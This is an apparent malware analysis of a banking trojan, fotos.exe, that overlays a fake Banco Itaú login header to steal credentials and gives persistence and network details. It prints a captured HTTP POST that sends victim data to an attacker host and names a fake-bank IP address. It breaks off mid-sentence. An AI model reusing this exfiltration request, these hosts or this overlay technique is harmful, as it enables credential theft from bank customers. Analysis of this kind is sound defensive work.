Trojan horse PSW.Banker5.AKJK Analysis

General Information:

Collected Name: fotos.exe
SIZE: 1477530 bytes
MD5: 0475fa8fac3f7bbac0d38a1b89d42e51
Packer: Thinstall

Behavior:

This malware monitors system windows and searchs for some bank string patterns in their titles. If a match occurs, it tries to overlap the bank site login header with a modified one that captures account and credential data. All this information is sent to an online database.

Description:

After its execution trojan registers itself in Run key in Windows Registry. Then it checks if there is an operating system window entitled “Banco Itaú – Feito Para Você – Mozilla Firefox” and tries to overlap the window with a fake header. If the window with the title that matches is not a browser, the process is terminated.

The next figure was taken after accessing the actual Internet Banking with the malware running:
Pic1
In this point, the malware sample inserts a fake bank header on top of the official bank site header:
Pic2
After this step, all data informed by the victims in the form fields will be stored in memory and sent to the attacker's database.

Trojan then connects to an online database to inserts collected targets data, such as computer, operating system and users information.

Below, an excerpt of requests sent to database:

POST /phps/procopspro.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Host: webcomunicaobr.com
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
op=TransacaoAtualizacaoVersaoAtual&servidor=willow%2Esafesecureweb%2Ecom&senha=
<censored>&usuario=compteam&base=compteam&sgdb=MYSQL&nomeexe=fotos%2Eexe&

By accessing this online database it was possible to find out that the attacker centralized the information collected by different banker’s applications, so the table field containing the executable name (e.g., “fotos.exe”) can be used to map which binaries are more effective.

This malware opens locally the (UPD) port 1311 and connects to some IP addresses in HTTP or HTTPS ports.

One of these accesses (https://200.196.152.202/) points to a fake credential header page of a Brazilian bank, as shown below:
Pic4
One input file is created in the same folder where the binary is located. After the malware reads the contents of this file, it is deleted. The content appears to be encrypted, as shown below:
